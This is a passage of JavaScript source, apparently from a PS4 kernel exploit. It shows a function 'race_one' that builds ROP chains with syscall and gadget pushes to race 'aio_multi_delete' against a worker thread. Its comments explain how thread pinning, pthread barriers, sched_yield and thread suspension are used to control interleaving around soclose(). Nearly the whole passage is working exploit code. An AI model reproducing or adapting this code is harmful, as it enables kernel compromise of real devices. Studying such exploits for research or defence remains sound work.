(request_addr, tcp_sd, barrier, racer, sds)
| 551 | // // ... |
| 552 | // } |
| 553 | function race_one(request_addr, tcp_sd, barrier, racer, sds) { |
| 554 | const sce_errs = new View4([-1, -1]); |
| 555 | const thr_mask = new Word(1 << main_core); |
| 556 | |
| 557 | const thr = racer; |
| 558 | thr.push_syscall( |
| 559 | 'cpuset_setaffinity', |
| 560 | CPU_LEVEL_WHICH, |
| 561 | CPU_WHICH_TID, |
| 562 | -1, |
| 563 | 8, |
| 564 | thr_mask.addr, |
| 565 | ); |
| 566 | thr.push_syscall('rtprio_thread', RTP_SET, 0, rtprio.addr); |
| 567 | thr.push_gadget('pop rax; ret'); |
| 568 | thr.push_value(1); |
| 569 | thr.push_get_retval(); |
| 570 | thr.push_call('pthread_barrier_wait', barrier.addr); |
| 571 | thr.push_syscall( |
| 572 | 'aio_multi_delete', |
| 573 | request_addr, |
| 574 | 1, |
| 575 | sce_errs.addr_at(1), |
| 576 | ); |
| 577 | thr.push_call('pthread_exit', 0); |
| 578 | |
| 579 | const pthr = spawn_thread(thr); |
| 580 | const thr_tid = pthr.read32(0); |
| 581 | |
| 582 | // pthread barrier implementation: |
| 583 | // |
| 584 | // given a barrier that needs N threads for it to be unlocked, a thread |
| 585 | // will sleep if it waits on the barrier and N - 1 threads havent't arrived |
| 586 | // before |
| 587 | // |
| 588 | // if there were already N - 1 threads then that thread (last waiter) won't |
| 589 | // sleep and it will send out a wake-up call to the waiting threads |
| 590 | // |
| 591 | // since the ps4's cores only have 1 hardware thread each, we can pin 2 |
| 592 | // threads on the same core and control the interleaving of their |
| 593 | // executions via controlled context switches |
| 594 | |
| 595 | // wait for the worker to enter the barrier and sleep |
| 596 | while (thr.retval_int === 0) { |
| 597 | sys_void('sched_yield'); |
| 598 | } |
| 599 | |
| 600 | // enter the barrier as the last waiter |
| 601 | chain.push_call('pthread_barrier_wait', barrier.addr); |
| 602 | // yield and hope the scheduler runs the worker next. the worker will then |
| 603 | // sleep at soclose() and hopefully we run next |
| 604 | chain.push_syscall('sched_yield'); |
| 605 | // if we get here and the worker hasn't been reran then we can delay the |
| 606 | // worker's execution of soclose() indefinitely |
| 607 | chain.push_syscall('thr_suspend_ucontext', thr_tid); |
| 608 | chain.push_get_retval(); |
| 609 | chain.push_get_errno(); |
| 610 | chain.push_end(); |
no test coverage detected